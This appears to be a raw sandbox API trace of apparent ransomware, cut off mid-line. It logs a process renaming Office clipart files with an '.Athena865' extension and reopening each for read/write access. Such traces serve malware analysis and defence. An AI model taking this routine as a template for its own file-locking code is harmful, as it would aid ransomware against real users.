[0125.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107746.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107746.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.752] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4788) returned 1 [0125.755] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107748.WMF" | out: lpString1="J0107748.WMF") returned="J0107748.WMF" [0125.755] lstrlenW (lpString="J0107748.WMF") returned 12 [0125.755] lstrlenW (lpString="Athena865") returned 9 [0125.755] lstrcmpiW (lpString1="07748.WMF", lpString2="Athena865") returned -1 [0125.755] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.Athena865") returned 73 [0125.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.athena865"), dwFlags=0x1) returned 1 [0125.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107748.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107748.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.756] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8224) returned 1 [0125.759] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0107750.WMF" | out: lpString1="J0107750.WMF") returned="J0107750.WMF" [0125.759] lstrlenW (lpString="J0107750.WMF") returned 12 [0125.759] lstrlenW (lpString="Athena865") returned 9 [0125.759] lstrcmpiW (lpString1="07750.WMF", lpString2="Athena865") returned -1 [0125.759] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.Athena865") returned 73 [0125.759] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.athena865"), dwFlags=0x1) returned 1 [0125.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107750.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107750.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.761] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4716) returned 1 [0125.763] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0136865.WMF" | out: lpString1="J0136865.WMF") returned="J0136865.WMF" [0125.763] lstrlenW (lpString="J0136865.WMF") returned 12 [0125.763] lstrlenW (lpString="Athena865") returned 9 [0125.763] lstrcmpiW (lpString1="36865.WMF", lpString2="Athena865") returned -1 [0125.763] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.Athena865") returned 73 [0125.763] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.athena865"), dwFlags=0x1) returned 1 [0125.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0136865.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0136865.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.765] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=16710) returned 1 [0125.769] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0144773.JPG" | out: lpString1="J0144773.JPG") returned="J0144773.JPG" [0125.769] lstrlenW (lpString="J0144773.JPG") returned 12 [0125.769] lstrlenW (lpString="Athena865") returned 9 [0125.769] lstrcmpiW (lpString1="44773.JPG", lpString2="Athena865") returned -1 [0125.769] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.Athena865") returned 73 [0125.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.athena865"), dwFlags=0x1) returned 1 [0125.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.771] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40231) returned 1 [0125.778] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145168.JPG" | out: lpString1="J0145168.JPG") returned="J0145168.JPG" [0125.778] lstrlenW (lpString="J0145168.JPG") returned 12 [0125.778] lstrlenW (lpString="Athena865") returned 9 [0125.778] lstrcmpiW (lpString1="45168.JPG", lpString2="Athena865") returned -1 [0125.778] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.Athena865") returned 73 [0125.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.athena865"), dwFlags=0x1) returned 1 [0125.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.779] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33657) returned 1 [0125.784] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145212.JPG" | out: lpString1="J0145212.JPG") returned="J0145212.JPG" [0125.784] lstrlenW (lpString="J0145212.JPG") returned 12 [0125.784] lstrlenW (lpString="Athena865") returned 9 [0125.784] lstrcmpiW (lpString1="45212.JPG", lpString2="Athena865") returned -1 [0125.784] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.Athena865") returned 73 [0125.784] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.athena865"), dwFlags=0x1) returned 1 [0125.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145212.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145212.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.786] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=61633) returned 1 [0125.790] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145272.JPG" | out: lpString1="J0145272.JPG") returned="J0145272.JPG" [0125.790] lstrlenW (lpString="J0145272.JPG") returned 12 [0125.791] lstrlenW (lpString="Athena865") returned 9 [0125.791] lstrcmpiW (lpString1="45272.JPG", lpString2="Athena865") returned -1 [0125.791] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.Athena865") returned 73 [0125.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.athena865"), dwFlags=0x1) returned 1 [0125.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.792] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=49238) returned 1 [0125.796] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145361.JPG" | out: lpString1="J0145361.JPG") returned="J0145361.JPG" [0125.796] lstrlenW (lpString="J0145361.JPG") returned 12 [0125.796] lstrlenW (lpString="Athena865") returned 9 [0125.796] lstrcmpiW (lpString1="45361.JPG", lpString2="Athena865") returned -1 [0125.796] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.Athena865") returned 73 [0125.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.athena865"), dwFlags=0x1) returned 1 [0125.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.798] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21125) returned 1 [0125.802] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145373.JPG" | out: lpString1="J0145373.JPG") returned="J0145373.JPG" [0125.802] lstrlenW (lpString="J0145373.JPG") returned 12 [0125.802] lstrlenW (lpString="Athena865") returned 9 [0125.802] lstrcmpiW (lpString1="45373.JPG", lpString2="Athena865") returned -1 [0125.802] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.Athena865") returned 73 [0125.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.athena865"), dwFlags=0x1) returned 1 [0125.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.803] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17867) returned 1 [0125.806] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145669.JPG" | out: lpString1="J0145669.JPG") returned="J0145669.JPG" [0125.806] lstrlenW (lpString="J0145669.JPG") returned 12 [0125.806] lstrlenW (lpString="Athena865") returned 9 [0125.806] lstrcmpiW (lpString1="45669.JPG", lpString2="Athena865") returned -1 [0125.806] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.Athena865") returned 73 [0125.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.athena865"), dwFlags=0x1) returned 1 [0125.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.808] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31850) returned 1 [0125.812] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145707.JPG" | out: lpString1="J0145707.JPG") returned="J0145707.JPG" [0125.812] lstrlenW (lpString="J0145707.JPG") returned 12 [0125.812] lstrlenW (lpString="Athena865") returned 9 [0125.812] lstrcmpiW (lpString1="45707.JPG", lpString2="Athena865") returned -1 [0125.812] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.Athena865") returned 73 [0125.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.athena865"), dwFlags=0x1) returned 1 [0125.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.813] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36820) returned 1 [0125.817] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145810.JPG" | out: lpString1="J0145810.JPG") returned="J0145810.JPG" [0125.818] lstrlenW (lpString="J0145810.JPG") returned 12 [0125.818] lstrlenW (lpString="Athena865") returned 9 [0125.818] lstrcmpiW (lpString1="45810.JPG", lpString2="Athena865") returned -1 [0125.818] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.Athena865") returned 73 [0125.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.athena865"), dwFlags=0x1) returned 1 [0125.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.820] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=36792) returned 1 [0125.827] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145879.JPG" | out: lpString1="J0145879.JPG") returned="J0145879.JPG" [0125.827] lstrlenW (lpString="J0145879.JPG") returned 12 [0125.827] lstrlenW (lpString="Athena865") returned 9 [0125.827] lstrcmpiW (lpString1="45879.JPG", lpString2="Athena865") returned -1 [0125.827] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.Athena865") returned 73 [0125.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.athena865"), dwFlags=0x1) returned 1 [0125.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.829] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=35419) returned 1 [0125.833] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145895.JPG" | out: lpString1="J0145895.JPG") returned="J0145895.JPG" [0125.833] lstrlenW (lpString="J0145895.JPG") returned 12 [0125.833] lstrlenW (lpString="Athena865") returned 9 [0125.833] lstrcmpiW (lpString1="45895.JPG", lpString2="Athena865") returned -1 [0125.833] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.Athena865") returned 73 [0125.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.athena865"), dwFlags=0x1) returned 1 [0125.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.835] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33958) returned 1 [0125.842] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0145904.JPG" | out: lpString1="J0145904.JPG") returned="J0145904.JPG" [0125.842] lstrlenW (lpString="J0145904.JPG") returned 12 [0125.842] lstrlenW (lpString="Athena865") returned 9 [0125.842] lstrcmpiW (lpString1="45904.JPG", lpString2="Athena865") returned -1 [0125.842] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.Athena865") returned 73 [0125.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.athena865"), dwFlags=0x1) returned 1 [0125.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145904.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145904.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.843] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39542) returned 1 [0125.847] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0146142.JPG" | out: lpString1="J0146142.JPG") returned="J0146142.JPG" [0125.847] lstrlenW (lpString="J0146142.JPG") returned 12 [0125.847] lstrlenW (lpString="Athena865") returned 9 [0125.848] lstrcmpiW (lpString1="46142.JPG", lpString2="Athena865") returned -1 [0125.848] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.Athena865") returned 73 [0125.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.athena865"), dwFlags=0x1) returned 1 [0125.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0146142.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0146142.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.849] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=46508) returned 1 [0125.853] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0148309.JPG" | out: lpString1="J0148309.JPG") returned="J0148309.JPG" [0125.854] lstrlenW (lpString="J0148309.JPG") returned 12 [0125.854] lstrlenW (lpString="Athena865") returned 9 [0125.854] lstrcmpiW (lpString1="48309.JPG", lpString2="Athena865") returned -1 [0125.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.Athena865") returned 73 [0125.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.athena865"), dwFlags=0x1) returned 1 [0125.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148309.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148309.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43674) returned 1 [0125.860] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0148757.JPG" | out: lpString1="J0148757.JPG") returned="J0148757.JPG" [0125.860] lstrlenW (lpString="J0148757.JPG") returned 12 [0125.860] lstrlenW (lpString="Athena865") returned 9 [0125.861] lstrcmpiW (lpString1="48757.JPG", lpString2="Athena865") returned -1 [0125.861] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.Athena865") returned 73 [0125.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.athena865"), dwFlags=0x1) returned 1 [0125.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148757.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148757.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.862] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67540) returned 1 [0125.868] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0148798.JPG" | out: lpString1="J0148798.JPG") returned="J0148798.JPG" [0125.868] lstrlenW (lpString="J0148798.JPG") returned 12 [0125.868] lstrlenW (lpString="Athena865") returned 9 [0125.868] lstrcmpiW (lpString1="48798.JPG", lpString2="Athena865") returned -1 [0125.868] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.Athena865") returned 73 [0125.868] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.athena865"), dwFlags=0x1) returned 1 [0125.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0148798.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0125.870] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38237) returned 1 [0125.876] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0149018.JPG" | out: lpString1="J0149018.JPG") returned="J0149018.JPG" [0125.876] lstrlenW 